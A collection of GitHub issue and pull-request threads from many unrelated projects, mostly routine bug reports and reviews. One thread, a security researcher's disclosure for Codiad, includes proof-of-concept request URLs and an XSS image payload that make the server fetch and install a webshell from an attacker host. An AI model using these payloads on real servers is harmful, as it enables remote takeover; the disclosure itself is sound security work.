  File "/home/jc/vola/git/experimental/data1backup/tests/test-concurrency.py", line 11, in test_client
    client = get_client()
  File "/home/jc/vola/git/experimental/data1backup/tests/test-concurrency.py", line 7, in get_client
    return clickhouse_connect.get_client(host='localhost')
  File "/home/jc/vola/git/experimental/data1backup/tests/clickhouse-connect/clickhouse_connect/__init__.py", line 8, in get_client
    return create_client(**kwargs)
  File "/home/jc/vola/git/experimental/data1backup/tests/clickhouse-connect/clickhouse_connect/driver/__init__.py", line 69, in create_client
    return HttpClient(interface, host, port, username, password, database, settings=settings, **kwargs)
  File "/home/jc/vola/git/experimental/data1backup/tests/clickhouse-connect/clickhouse_connect/driver/httpclient.py", line 150, in __init__
    super().__init__(database=database, query_limit=coerce_int(query_limit), uri=self.url)
  File "/home/jc/vola/git/experimental/data1backup/tests/clickhouse-connect/clickhouse_connect/driver/client.py", line 45, in __init__
    tuple(self.command('SELECT version(), timezone(), database()', use_database=False))
  File "/home/jc/vola/git/experimental/data1backup/tests/clickhouse-connect/clickhouse_connect/driver/httpclient.py", line 288, in command
    response = self._raw_request(payload, params, headers, method)
  File "/home/jc/vola/git/experimental/data1backup/tests/clickhouse-connect/clickhouse_connect/driver/httpclient.py", line 341, in _raw_request
    raise OperationalError(f'Error executing HTTP request {self.url}') from ex
clickhouse_connect.driver.exceptions.OperationalError: Error executing HTTP request http://localhost:8123

The problem is the global clickhouse_connect.driver.httputil.default_pool_manager, which is used only as the default http pool in clickhouse_connect.driver.httpclient.HttpClient.init
When this global is initialized in one process, then referenced in another it completely breaks any attempt at concurrency.
Solution
Remove the clickhouse_connect.driver.httputil.default_pool_manager global, and initialize a new pool manager on each new HttpClient.
Unless there is some huge perfomance cost to initializing new pool managers that I am unaware of, this should be the way it is done.

I have identified another issue with thread safety. The default session_id is generated from uuid.uuid1 which is not generated in a multiprcessing safe way. This means that if two threads call the function at very near times, you can get the same uuid. This breaks the session locking stuff server side. Due to the nature of this, it can be a bit annoying to trigger.
I have switched the uuid.uuid1 to uuid.uuid4, which has significantly higher entropy.

Thanks for your investigations into multiprocessing! It's an area that we simply haven't had the time to test the limits.
I'm very curious about the error you see when using the default_pool_manager.  It's my understanding the urllib3 pool manager is thread safe and even before that PR the window where it was not thread safe was tiny (and would raise a different exception).  In particular I'm fairly sure the actual connections are never shared between threads, although it's possible that the actual Python http_client somehow gets shared.  Is it possible that the "bad status" line is just the result of some other ClickHouse server or  loopback issue, possibly related to the load of 100 clients hitting the same ClickHouse server at once?
In any case the choice to use a single PoolManager by default was intended for the simple and I assume most common use case of having a few clients always hitting the same host.  Reusing connections in that case is desirable, especially if they can reuse "keep alive" HTTP connections.  (However, looking through the code I did notice that the original maxsize of the pool was lost when removing the requests library - it was 8, unfortunately now I think it's defaulting to 1 - so that might be worth fixing.)
In the case of a large number of clients/threads my intended solution was to construct those clients with their own PoolManager, preferable obtained by the get_pool_manager method.  I consider that an advanced use case but it should fix your particular issue without a code change.  Just change this line:
client = get_client()

to
client = get_client(pool_mgr=get_pool_manager())

You could also use that mechanism to share a few different pool managers among multiple hosts, instead of having a 1 to 1 assignment.
As for uuid1 vs uuid4, there's still 14 bits of random entropy on a single host in the same timestamp, vs 64 bits of entropy across all possible clients hitting the same ClickHouse server.  I think there's no practical difference, although I can see uuid4 as being marginally "safer".   But this is also something you can solve without a code change by settings the session_id parameter in the get_client factory method call.

btw the way your concurrency code snippit does not trigger any exceptions on my M1 Mac -- Python 3.9.15, urllib 1.26.13

It is occuring every single run on arch linux with my 3950x (16 cores 32 threads). I also confirmed this issue on my XPS 9710 running Manjaro linux.
If you are running your python through the hacky emulation layer thing they made for M1s, I suspect that python multiprocessing in general may be handled very differently.

It's native ARM64, not Rosetta, but again that doesn't actually look like a concurrency error.

As it turns out I was sort of right in my assumption about macOS doing multiprocessing differently:
https://docs.python.org/3/library/multiprocessing.html#contexts-and-start-methods

Changed in version 3.8: On macOS, the spawn start method is now the default. The fork start method should be considered unsafe as it can lead to crashes of the subprocess. See bpo-33725.

Updating the my example:
import multiprocessing

import clickhouse_connect

def get_client() -> clickhouse_connect.driver.client.Client:
    return clickhouse_connect.get_client(host='localhost')

def test_client(*_):
    client = get_client()
    client.command('SELECT version();')
    client.close()

def test_concurrency():
    # Force non-default spwan start method
    multiprocessing.set_start_method('spawn')

    # Call test client in original thread, before creating new
    # process. This ensures that any globals that may be initialized
    # in the library are initialized before forking next
    test_client()

    # Fork 8 processes, each initializing a fresh client. Any globals
    # from this process that end up being used in child processes may
    # very well become broken.
    with multiprocessing.Pool(8) as pool:
        pool.map(test_client, range(100))

if __name__ == '__main__':
    test_concurrency()

I would not consider doing this multiprocessing.set_start_method as an acceptable solution.
If this library is being developed only for macOS, then you need to disclose this up front and in the documentation. My org is simply not going to use clickhouse if this is the case.

We build and test on linux, but I happen to develop on a Mac.  And as I alluded to above, we don't currently have automated tests for large parallel processing.
ClickHouse Connect is still very much beta and open source, so you know everything there is to know about tests and builds.  Again, the urllib3 PoolManager is considered thread safe, but it appears you have found an exception.  If you can reproduce the problem independent of ClickHouse Connect (which shouldn't be difficult, it really amounts to a bunch of parallel HTTP calls) I would suggest you open an issue in that project.
It also seems like if you're going to use multiprocessing on Linux/Unix, you should not use a start method that is "problematic" according to the documentation and then blame the library.
In any case, there's a simple workaround for the issue as I described above for your use case that doesn't require a code change and doesn't disable the current default connection sharing, and you have identified yet another workaround.  As we have time and resources to update the documentation and move toward production status, those things will be improved.  In the meantime, you are of course free to fork this project, use another Python client (clickhouse-driver is well established) or use other database software entirely.

For the record, the python documentation is clear in saying that the "problematic" fork start method is only problematic on macOS. It is still the standard on linux because linux can handle posix forking.

https://bugs.python.org/issue40379 -- not just MacOS

authors: genzgd wabscale

repo: ClickHouse/clickhouse-connect


text:
gRPC cannot insert many fields

I add some fields When I use gRPC  insert ,   but it reports an error, I use the case that is the  clickhouse-java/examples/client/src/main/java/com/clickhouse/examples/jdbc/ Main.java ,   just like this code

The error is
`15:22:50.224 [grpc-default-executor-0] ERROR com.clickhouse.client.grpc.ClickHouseStreamObserver - Server error: Code=32, DB::Exception: Attempt to read after eof: While executing BinaryRowInputFormat
15:22:50.224 [grpc-default-executor-0] ERROR com.clickhouse.client.grpc.ClickHouseStreamObserver - 0. DB::Exception::Exception(DB::Exception::MessageMasked&&, int, bool) @ 0xddb0cd5 in /usr/bin/clickhouse

? @ 0x887d9d6 in /usr/bin/clickhouse
? @ 0x887d823 in /usr/bin/clickhouse
? @ 0xddfd7d3 in /usr/bin/clickhouse
DB::SerializationString::deserializeBinary(DB::IColumn&, DB::ReadBuffer&, DB::FormatSettings const&) const @ 0x1279ba64 in /usr/bin/clickhouse
DB::BinaryFormatReader::readField(DB::IColumn&, std::__1::shared_ptr<DB::IDataType const> const&, std::__1::shared_ptr<DB::ISerialization const> const&, bool, std::__1::basic_string<char, std::__1::char_traits, std::__1::allocator> const&) @ 0x1475a896 in /usr/bin/clickhouse
DB::RowInputFormatWithNamesAndTypes::readRow(std::__1::vector<COWDB::IColumn::mutable_ptrDB::IColumn, std::__1::allocator<COWDB::IColumn::mutable_ptrDB::IColumn>>&, DB::RowReadExtension&) @ 0x1475d918 in /usr/bin/clickhouse
DB::IRowInputFormat::generate() @ 0x1473cdee in /usr/bin/clickhouse
DB::ISource::tryGenerate() @ 0x146c1455 in /usr/bin/clickhouse
DB::ISource::work() @ 0x146c0fc6 in /usr/bin/clickhouse
DB::ExecutionThreadContext::executeTask() @ 0x146db246 in /usr/bin/clickhouse
DB::PipelineExecutor::executeStepImpl(unsigned long, std::__1::atomic*) @ 0x146d035c in /usr/bin/clickhouse
DB::PipelineExecutor::executeStep(std::__1::atomic*) @ 0x146cf028 in /usr/bin/clickhouse
DB::PullingPipelineExecutor::pull(DB::Chunk&) @ 0x146e09b7 in /usr/bin/clickhouse
DB::PullingPipelineExecutor::pull(DB::Block&) @ 0x146e0b73 in /usr/bin/clickhouse
? @ 0x145ee879 in /usr/bin/clickhouse
? @ 0x145eab4e in /usr/bin/clickhouse
ThreadPoolImplstd::__1::thread::worker(std::__1::__list_iterator<std::__1::thread, void*>) @ 0xde7dd56 in /usr/bin/clickhouse
? @ 0xde83081 in /usr/bin/clickhouse
? @ 0x7febac555b43 in ?
? @ 0x7febac5e7a00 in ?
`

Will it work if you switch to http protocol? gRPC is experimental and problematic, I should probably drop it someday to avoid confusion.
By the way, you no longer has to use DataStreamFactory explicitly, but request.data(ClickHouseWriter), for example:
https://github.com/ClickHouse/clickhouse-java/blob/6ce0d38503ddb81e5e59f30373fd121a79a0ad35/clickhouse-jdbc/src/test/java/com/clickhouse/jdbc/ClickHousePreparedStatementTest.java#L1640-L1656

authors: JeasGo zhicwu

repo: ClickHouse/clickhouse-java


text:
⚠ Jerry Savelle Ministries International Australia has degraded performance

In 5cbd5f5, Jerry Savelle Ministries International Australia (https://jsmiaustralia.org) experienced degraded performance:

HTTP code: 200
Response time: 5833 ms

Resolved: Jerry Savelle Ministries International Australia performance has improved in 835d6e2 after 6 minutes.

repo: Clicki-Digital/uptime


text:
No halo points should not be allowed

As @dhruvbhagtani noticed in #9, without halo points issues arise for periodic boundary conditions. We should make default halo point being =1 and check that the user does not set =0.

Yes, this needs to be sorted. I'll open a PR, and add this functionality.

authors: dhruvbhagtani navidcy


text:
Unable to install cloudhealth-collector releases beyond 2.0.4

I am unable to install cloudhealth-collector releases beyond 2.0.4. It looks like later releases (including 3.2.0, the latest) have not been uploaded to the repository described in the usage steps:
$ helm repo add cloudhealth https://cloudhealth.github.io/helm/
$ helm upgrade --install cloudhealth-collector cloudhealth/cloudhealth-collector --version 3.2.0 --namespace kube-system --values values.yaml
Error: failed to download "cloudhealth/cloudhealth-collector" at version "3.2.0"

It is difficult to view the changes that are being made in the chart, requiring inspection of each PR/commit to view changes.
I have two requests:

Automate the publishing of your Helm charts when a new version is merged to main.
Either maintain a CHANGELOG, automate creation of GitHub releases, or ensure git commit messages are in a consistent format. This will make it significantly easier for users of the chart to evaluate the changes made and impact on their system.

Thanks in advance

Thank you for the feedback! We have established a release log using the GitHub releases functionality: https://github.com/CloudHealth/helm/releases and took your advice to automate the publishing of our Helm charts when a new version is merged to main.  The newest version that we have released is 2.0.11.

authors: kscherme sharkeyl

repo: CloudHealth/helm


text:
🛑 Lemmy is down

In dc2c7e4, Lemmy (https://lemmy.cloudhub.social) was down:

HTTP code: 503
Response time: 369 ms

Resolved: Lemmy is back up in d9ae732 after 15 minutes.

repo: CloudHub-Social/Status


text:
Update the version number to 0.3.0.

What is the purpose of the change
Related issues/PRs
Related issues: #590
Related pr:#591
Brief change log
Checklist

[x] I have read the Contributing Guidelines on pull requests.
[ ] I have explained the need for this PR and the problem it solves
[ ] I have explained the changes or the new features added to this PR
[ ] I have added tests corresponding to this change
[ ] I have updated the documentation to reflect this change
[ ] I have verified that this change is backward compatible
[ ] If this is a code change: I have written unit tests to fully verify the new behavior.

LGTM

authors: dlimeng limingoo

repo: CloudOrc/SolidUI


text:
wlc: Use eglGetPlatformDisplayEXT where available

eglGetDisplay does not know what sort of handle it is getting passed
in (a gbm device handle or an X11 display pointer) on systems without
glvnd some poking into internal X11 / gbm structures is used to figure
this out, which is somewhat dangerous but works.
On system using glvnd this does not work and eglGetDisplay returns NULL.
This commit makes wlc track the EGLNativeDisplayType pointer's
underlying type and uses eglGetPlatformDisplayEXT where available so
that the EGL implementation does not need to guess the type of the
handle it is being passed.
BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1413579
Signed-off-by: Hans de Goede hdegoede@redhat.com

Hi,
On 31-01-17 15:07, Jari Vetoniemi wrote:

@Cloudef commented on this pull request.

In src/platform/context/egl.c https://github.com/Cloudef/wlc/pull/233#pullrequestreview-19320318:

2: You can't tell whether you have EGL 1.5 at this point, because

eglQueryString(EGL_VERSION) is a property of the display, which we don't

have yet. So you have to query for extensions no matter what.

There is no EGL_KHR_platform_base to complement the EXT one, thus one

needs to know EGL 1.5 is supported in order to use the eglGetPlatformDisplay

function pointer.

We can workaround this (circular dependency) by probing for the EGL 1.5

platform extensions (EGL_KHR_platform_gbm and friends) yet it doesn't seem

like mesa will be able to adverise these (even though it can do EGL 1.5).

*/
+static EGLDisplay
+get_display(struct ctx *context, EGLint type, void *native)
+{
PFNEGLGETPLATFORMDISPLAYEXTPROC getPlatformDisplayEXT;

Was this accidental duplicate definition? Otherwise this looks quite good. Scary but good :)

Yes, that was a copy paste mistake the top level one can be removed.
Regards,
Hans

repo: Cloudef/wlc


text:
Stress Detection Dataset

Description
Based on the human’s physical activity, the stress levels of the human being are detected and analyzed here. A dataset of 2001 samples is provided for human body humidity, body temperature and the number of steps taken by the user. Three different classifications of stress are performed, low stress, normal stress, and high stress.
Screenshots
No response

Great @tandrimasingha, add it and make a PR :)

repo: Clueless-Community/Datasets


text:
[FLOC-3262] Retry removing container if there is a 500

Fixes https://clusterhq.atlassian.net/browse/FLOC-3262
There is no direct test for this. I made the call not to add a test because:

Our test suite tells already us relatively often already that this is a problem
I hope that this code can be removed soonish
I can't see tests for the other similar workarounds (Ok, that is a terrible reason)
What the user cares about is that the container is removed. This is tested for. The intent is specified in a comment for future developers.

Manual testing I've done: I have 16 tabs open in a Vagrant dev box running the test simultaneously. Almost every time on master this test fails on at least one of the 16 attempts. With this branch I have tried a few times and seen no failures. This makes me quite confident that this fix is suitable.
Alternatives include:

Drop support for Docker <1.9.0 soon and live with this as-is until then.
Only run this test on >=1.9.0 - this might cause users on <1.9.0 to see errors when trying to remove containers which they have presumably been seeing for a while.

I chose to work around the issue in the code because it didn't seem particularly difficult. I guess that if this fix isn't deemed suitable, then the alternatives can be discussed with the product team.

Nice find and dedication to testing the fix!
I'm a little concerned about some of the details of the fix - check my logic on one of the comments below.

Review status: 0 of 1 files reviewed at latest revision, 1 unresolved discussion, some commit checks failed.

flocker/node/_docker.py, line 774 [r1] (raw file):
I think there might be something unintentional here, but please double check my logic.
In the happy case where this doesn't raise any exception, this is now done twice after this PR (the second time we'll get the 404 and exit nicely), whereas it was only done once prior to this PR. Is this intentional? I realize perhaps that was even the intent of the PR, but the description makes it sound like you only intended on retrying on 500 errors rather than, "always retry until 404".

flocker/node/_docker.py, line 793 [r1] (raw file):
See comment below about concern with infinite loop. I think retrying a couple times regardless of what caused the 500 makes sense. retrying infinite times on 500 sounds more scary to me.

flocker/node/_docker.py, line 798 [r1] (raw file):
I think my bigger concern would be if docker gets in some bad state where it starts 500 on every request, we would be stuck in an infinite loop here. I'd be more comfortable with something along the lines of retry twice then raise the error.
I think it's probably nicer on our end to retry 500s (in general) rather than assuming we know what caused this 500 and we can assume it completed successfully.
Also I'm surprised that the fix is just a return here - I would have figured it was a wait_til_removal_completed and then a return.

Comments from the review on Reviewable.io

Also I flunk at using reviewable... trying to leave the comments open rather than leaving them resolved...

Review status: 0 of 1 files reviewed at latest revision, 3 unresolved discussions, some commit checks failed.

flocker/node/_docker.py, line 774 [r1] (raw file):
leave open

flocker/node/_docker.py, line 793 [r1] (raw file):
leave open

flocker/node/_docker.py, line 798 [r1] (raw file):
leave open

Comments from the review on Reviewable.io

Thanks for the review @sarum90 . I've discussed this with @jml and the next round will replace "while True" with a loop on the new check (loop_until with some parameters for a maximum wait, or some modification of retry_failure). Then we can somehow choose when to stop checking. The balance is between: don't loop unnecessarily long, don't raise an error when the removal is going to happen soon.

Testing setup:
I used iTerm to split a console into 16 sections and broadcast input to all.
I vagrant up, vagrant ssh and then I go to a virtualenv with Flocker's dev dependencies.
I run:
(flocker)[vagrant@localhost vagrant]$ sudo $(type -p trial) flocker.node.functional.test_docker.NamespacedDockerClientTests.test_dead_is_removed

and see that the test passes in its 16 runs  (takes up to 2.5 mins usually).
What remains (at least):

Move loop_until out of testtools
Give loop_until some kind of parameters for the delay between tries, and the max number of loops
Somehow choose those parameters

Can someone verify this PR?

Closing this in favor of #2107

authors: adamtheturtle ci-jenkins-clusterhq jongiddy sarum90

repo: ClusterHQ/flocker


text:
User Delete Confirmation

Confirmation Dialog to Delete User.

do we want to use modals for this? or confirm()?

modals please, consistent look and feel


text:
Removed close animations on tabs

Description
Removed animations when closing tabs
Related Issue

#1073

Checklist

[x] I read and understood the contributing guide as well as the code of conduct
[x] My changes generate no new warnings
[x] My code builds and runs on my machine
[x] I documented my code
[x] Review requested

Screenshots
https://user-images.githubusercontent.com/46418077/221214377-eabcedc9-aced-434a-a3ab-2827f0faa511.mov

OK, here is a video of the new version.
https://user-images.githubusercontent.com/46418077/221226901-59fdb6a2-159d-42d9-9d7f-059957436b51.mov

@allcontributors add @maxkel for bug

authors: austincondiff maxkel

repo: CodeEditApp/CodeEdit


text:
Rename OverlayPanel and OverlayView classes

Description
The OverlayPanel class was renamed to SearchPanel and the OverlayView class was renamed to SearchPanelView. This was done to keep naming conventions consistent with Xcode.
Related Issues

closes #1651

Checklist

[x] I read and understood the contributing guide as well as the code of conduct
[x] The issues this PR addresses are related to each other
[x] My changes generate no new warnings
[x] My code builds and runs on my machine
[x] My changes are all related to the related issue above
[x] I documented my code

@allcontributors add @DanKlaver15 for code

@austincondiff Sure, I can take #1650

Awesome! Please comment on the issue so I can assign it to you.


text:
Enable playwright e2e testing

Description
This PR fixes previous issues with Playwright and allows us to start writing end-to-end tests. While still a bit slow than we'd like, it's better that the current state of "testing in prod".
Type of change

[X] Chore (non-breaking change which improves code quality)

Screenshots
N/A
Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas

This works @kilemensi I would only suggest updating the Readme mentioning users need to run npx playwright install  locally in order to install browsers required to run the tests.

Yeah, I kinda agree for now @esirK, but we need to find a better way of automatically handling this.

repo: CodeForAfrica/ui


text:
Refactor printing user name and email pair as str()

I've noticed that we're using the same python format string f{drive.first_name} {drive.last_name} in multiple places so I thought it would be cool to replace all these occurrences with just a simple f{drive} by modifying the __str__() function works for User model.

https://github.com/CodeForPoznan/pah-fm/pull/325

repo: CodeForPoznan/pah-fm


text:
toastr.options.onHidden not work

`
toastr.success('Shipment unloaded.', false,params);
toastr.options.onHidden = function() { console.log("onHide");location.reload(); }
`
Not work.

Make sure your parameters in your success &
// Define a callback for when the toast is hidden
toastr.options.onHidden = function() { console.log('onHide'); }

Thanks, @mallikarjuna909.

repo: CodeSeven/toastr


text:
Added support for explicitly clearing a toast, which ignores the focus c...

I added a new clearExplicitly function that clears the toast without checking for focused elements. The idea is to give full control to the developer if they want to clear the toast regardless of focus! More info on issue #220 .

Any word on this PR?

I like it. Name the argument force instead of ignoreFocus though.

Renamed.

thanks

thanks @jstawski

authors: TimFerrell johnpapa jstawski


text:
chore: revert "converted ToolTip to Emotion"

Overview

Reverted Emotion-ification of Tooltip. It needs more work.

📬Published Alpha Packages:@codecademy/gamut-illustrations@0.4.41-alpha.e41ee6.0@codecademy/gamut-labs@10.0.7-alpha.e41ee6.0@codecademy/gamut@23.0.1-alpha.e41ee6.0@codecademy/styleguide@27.0.1-alpha.e41ee6.0

🚀 Styleguide deploy preview ready!https://602c2e111e528c0159b467d0--gamut-preview.netlify.appDeploy Logs

authors: JoshuaKGoldberg codecademydev

repo: Codecademy/client-modules


text:
fix: add in missing equals sign

Overview
PR Checklist

[x] Related to JIRA ticket: WEB-992
[ ] I have run this code to verify it works

Description
While participating in the hackathon, we realized that there is a syntax error in _responsive.scss that makes some webpack loaders fail. We've resolved this locally for the sake of the hackathon, but wanted to start a real fix as well.
Notes
AFAICT this is a straightforward syntax error, but there may be some downstream clients that relied on this behavior; are there known areas to test for this change?

📬Published Alpha Packages:@codecademy/gamut-labs@1.8.5-alpha.2c5224.0@codecademy/gamut-styles@4.2.3-alpha.2c5224.0@codecademy/gamut@12.2.4-alpha.2c5224.0

🚀 Styleguide deploy preview ready!https://5f2c20343db41664fe67d2d3--gamut-preview.netlify.appDeploy Logs

authors: codecademydev kipprice


text:
Update shipping.py

I added a variable 'flat_charge' to the code so it can easily be modified in the future. Flat charge may change.

👍

authors: ayodejidev helfese

repo: Codecademy/learn-python


text:
Change watering amounts of own waterings

state of the art: once made watering entry cannot be edited
motivation: Made a mistake when entering the watered amount and want to correct it afterwards
future state:

Can edit own watering entry and change the amount of liters (via inline edit), see also #6 (for common used editing infrastructure)
changed liters are persisted via API call in database

Update watering:
https://user-images.githubusercontent.com/994131/162630507-381b5f77-b87a-42c8-968d-571afbe99d45.mp4

DONE: https://github.com/CodeforLeipzig/leipziggiesst/commit/2f056415773f53ba03d30e2269f402160640d10d

repo: CodeforLeipzig/leipziggiesst


text:
可以支持cookie吗？急救啊。

可以支持cookie吗？急救啊。

这个只能使用原生，里面没有支持。

authors: CoderJackyHuang bolianghui

repo: CoderJackyHuang/HYBNetworking


text:
setupReplacedKeyFromPropertyName和setupObjectClassInArray不能连续组合使用

setupReplacedKeyFromPropertyName和setupObjectClassInArray不能连续组合使用，
[HomeModel setupReplacedKeyFromPropertyName:^NSDictionary *{
return @{
@"home_statuses" : @"statuses",
@"home_total_number" : @"total_numbe"
};
}];
[HomeModel setupObjectClassInArray:^NSDictionary *{
return @{
@"statuses":@"HomeStatusesModel"
};
}];
HomeModel *home = [HomeModel objectWithKeyValues:returnValue];
HomeStatusesModel里面的东西就解析不到了，不知道能不能补充

这2个方法是可以联合使用的哈，一直都用得OK。是不是returnValue的数据有点问题？或者其他地方写错了？

+1 也遇到这种问题了

@BigBlackApple @wanyakun 可以写个简单的有这个问题的Demo看看么？因为我没发现这个问题哈

//分类， 想获取分类的数组
@interface CategoryModel : NSObject
@property (nonatomic, copy) NSString *imageUrl;
@property (nonatomic, copy) NSString *categoryName;
@property (nonatomic, assign) NSInteger categoryLevel;
@property (nonatomic, assign) NSInteger parentCategoryId;
//分类下面包括几个产品
@property (nonatomic, strong) NSArray *products;
@end
//分类中
@implementation HomeCategoryModel

(NSDictionary *)replacedKeyFromPropertyName
{
return @{
@"imgUrl":@"image_url",
@"categoryName":@"category_name",
};
}

(NSDictionary *)objectClassInArray
{
return @{
@"products": [ProductModel class],
};
}

@interface ProductModel : NSObject
@property (nonatomic, assign) NSInteger isOnSale;
@property (nonatomic, copy) NSString *productCode;
@property (nonatomic, copy) NSString *mainImageUrl;
@property (nonatomic, copy) NSString *amountUom;
@property (nonatomic, assign) NSInteger salesQty;
@property (nonatomic, assign) NSInteger stock;
@property (nonatomic, assign) NSInteger depthUmo;
@property (nonatomic, copy) NSString *keywords;
@property (nonatomic, assign) NSInteger productId;
@property (nonatomic, assign) NSInteger currentSalesPrice;
@end
在使用      NSArray  *categoryArray = [CategoryModel objectArrayWithKeyValuesArray:array];之后，结果categoryArray中的每个CategoryModel都是空的，好像是把CategoryModel解析成数组了。
不知是我使用的方法是否不当.

CategoryModel和HomeCategoryModel名字怎么对不上的？

@CoderMJLee 不好意思，应该是下面这样
//分类中
@implementation CategoryModel

(NSDictionary *)replacedKeyFromPropertyName
{
return @{
@"imageUrl":@"image_url",
@"categoryName":@"category_name",
};
}

(NSDictionary *)objectClassInArray
{
return @{
@"products": [ProductModel class],
};
}

@wanyakun 会不会是传入的JSON数据问题？拿出JSON数据看看哈

部分json 如下：
{
"code": 0,
"msg": "操作成功",
"data": [
{
"id": 1,
"category_id": "20",
"category_name": "海鲜水产",
"productIds": "1046568,1000243,1000245,1000273",
"tag": 1,
"rank": 6,
"desription": "desription",
"image_url": "http://i1.ucaiyuan.com/ugoods/110100000001/110100000001_750.jpg",
"status": 1,
"products": [
{
"productId": 1000243,
"productCode": "60001907",
"keywords": "福瑞斯,鱼,生蚝,海鲜",
"barcode": "6949125102111",
"productName": "福瑞斯冰冻半壳生蚝500g",
"brandName": "福瑞斯",
"taxRate": 17,
"depthUmo": null,
"isOnSale": 1,
"amountUom": "盒",
"stock": 100000,
"currentSalesPrice": 15,
"finalPrice": 15,
"listSalesPrice": 35,
"salesQty": null,
"salePriceValid": false
}
]
}
]
}
在json转化过程中
// 如果是JSON字符串
keyValuesArray = [keyValuesArray JSONObject];
这句转化的结果还是没问题的。

@CoderMJLee 部分json如下
{
"code": 0,
"msg": "操作成功",
"data": [
{
"id": 1,
"category_id": "20",
"category_name": "海鲜水产",
"productIds": "1046568,1000243,1000245,1000273",
"tag": 1,
"rank": 6,
"desription": "desription",
"image_url": "http://baidu.com",
"status": 1,
"products": [
{
"productId": 1000243,
"productCode": "60001907",
"keywords": "福瑞斯,鱼,生蚝,海鲜",
"barcode": "6949125102111",
"productName": "福瑞斯冰冻半壳生蚝500g",
"brandName": "福瑞斯",
"taxRate": 17,
"depthUmo": null,
"isOnSale": 1,
"amountUom": "盒",
"stock": 100000,
"currentSalesPrice": 15,
"finalPrice": 15,
"listSalesPrice": 35,
"salesQty": null,
"salePriceValid": false
}
]
}
]
}
在json 转化的过程还没问题：
// 如果是JSON字符串
keyValuesArray = [keyValuesArray JSONObject];
这句的出来的array是正常的

你是取出了data对应的数组么

是的

authors: BigBlackApple CoderMJLee wanyakun

repo: CoderMJLee/MJExtension


text:
Translation approved but not available

Describe the bug
A clear and concise description of what the bug is.
Kata: https://www.codewars.com/kata/56dbe0e313c2f63be4000b25 translated to Reason and approved.

Visible here: https://www.codewars.com/kumite/5d1228a813dba80012712028?sel=5d1228a813dba80012712028
and here: https://www.codewars.com/kata/56dbe0e313c2f63be4000b25/translations
Invisible here: https://www.codewars.com/kata/56dbe0e313c2f63be4000b25/edit/reason
Doesn't appear in available languages.

If I try to edit the translation and to re-publish I get "published with failed tests", if I fork it I cannot publish the fork.

Unfortunately it is not solved...

I think this is #1793?

If I try to edit the translation and to re-publish I get "published with failed tests", if I fork it I cannot publish the fork.

And this is #1759.

I just encountered this issue too with this translation: https://www.codewars.com/kumite/5d30b426c42a130015305bb2?sel=5d30b426c42a130015305bb2
:thinking:
It is approved, but it does not show in the dropdown.

but I forked it again and it worked

Okay, I will try that.


text:
Multiple vulnerabilities that can result in RCE

Hello,
Our research team in Checkmarx found multiple vulnerabilities in Codiad (XSS, CSRF, SSRF, RCE), we tried to contact the top three maintainers and none of them are active. If there are any active developers on this project feel free to contact us for more information.
ScaAppSec@checkmarx.com
Best regards,
Yaniv.

Hello,
My name is Yaniv Nizry and I’m a researcher on the CxSCA group at Checkmarx.
I discovered multiple security vulnerabilities in Codiad that could result in RCE.
The details were privately disclosed to the top maintainers more than 90 days ago, but unfortunately I was told that this project is unmaintained.
As our policy states, and with the suggestion of @Fluidbyte, I’m publishing the details for public knowledge.
CVE-2020-14044
First, admin’s SSRF and downloading webshell to the server:
As an “admin” or a one that has access to all the projects, there is a feature to download themes or plugins from GitHub.

The function: components\market\class.market.php -> Market -> Install() downloads a zip file from a URL ($repo variable is the URL and it’s a user controlled variable) without validating it (keep in mind that there could be a malicious GitHub repo as well). After downloading the zip, the program extracts it to either “plugins” or “themes” folder.

I tried here zipslip / directory traversal without success but I didn’t invest much time in that, It might be possible as well.
PoC:
The request to install a webshell (the “?a=” at the end is to get rid of the path added in the Install function):
http://127.0.0.1/components/market/controller.php?action=install&type=&name=Manually&repo=http://evilWebSite/webshell/webshell.zip?a=
We can make Codiad download and extract any zip to the server (SSRF that causes websell). Again, this feature is enabled only to users with access to all projects (“admins”).
Possible mitigation:
since it is possible to install a webshell through GitHub repo, I wouldn’t suggest to just verify that the link is from GitHub. It’s not recommended at all to extract zip files from untrusted sources, my suggestion is to verify that the plugin/theme is from a known list or disable the feature and install manually when needed.
CVE-2020-14042
Second, XSS when renaming folders:
Folder names in Codiad don’t get sanitize and the “admins” can see them all.

With the help of this vulnerability a malicious user with access to only one folder, can make an XSS that triggers the SSRF and installs a webshell. So next time an admin logs in, a webshell gets installed on the server.
PoC:
<img width=1 height=1 src=components/market/controller.php?action=install&type=&name=Manually&repo=http://127.0.0.1:8000/ws.zip?a=>
Possible mitigation:
sanitize any user input that is later displayed in the web pages.
CVE-2020-14043
Third, CSRF:
In fact, the XSS payload doesn’t even need to be on a Codiad instance, it could be on other websites, since there is no CSRF token to the market request.
An admin visiting other malicious website can give the attacker full server control
Possible mitigation:
add CSRF tokens to the requests especially those with some privilege requirements.
Finally, our working webshell:

In addition, while researching I encountered many potential “type juggle” but didn’t manage to exploit them.
Feel free to contact us at ScaAppSec@checkmarx.com.
Best regards,
Yaniv.

repo: Codiad/Codiad


text:
Please invite me to the GitHub Community Organization

Hi, I want to contribute to this community!
Please let me take part.
Signed-off-by: HarmonySkull 109529692+HarmonySkull@users.noreply.github.com

@HarmonySkull Thanks for contributing :) I have resolved the conflict for you because it wasn't your fault. I have sent an invitation for you to join the organisation. Please remember to make your membership public. Thanks

@all-contributors please add @HarmonySkull for content

repo: CodingContributorsLair/Get-Started-Here


text:
Passenger showcase contribution from Radek Titera

Yay!

Hi @Rodak123! This is wonderful! the image is very low resolution, maybe it's just one tile? Do you by any chance have a screenshot of the Processing output itself? I can help add it if you like!

Going to go ahead and merge this so it shows up today! Maybe I'll make a new image during the stream!

Hi, sorry for not responding.
If you could change the contribution thumbnail that would be awesome,
I accidentally
put a tile in.
I'll send you a 400x400 image.
Many thanks.
On Thu, 14 Jul 2022 at 15:08, Daniel Shiffman @.***>
wrote:

Merged #369 https://github.com/CodingTrain/thecodingtrain.com/pull/369
into main.
—
Reply to this email directly, view it on GitHub
https://github.com/CodingTrain/thecodingtrain.com/pull/369#event-6994102536,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AL7EC5LOQKFZ3U4SFBIFSN3VUAGLHANCNFSM53PVAGQQ
.
You are receiving this because you were mentioned.Message ID:
@.***
com>


text:
Update 149-tic-tac-toe.md

Looks great! Thanks for contributing.

authors: sahil-jindal violetcraze

repo: CodingTrain/website


text:
Codis 3 Rebalance

How Do I rebalance codis-servers slots.
The following command does not exist anymore.
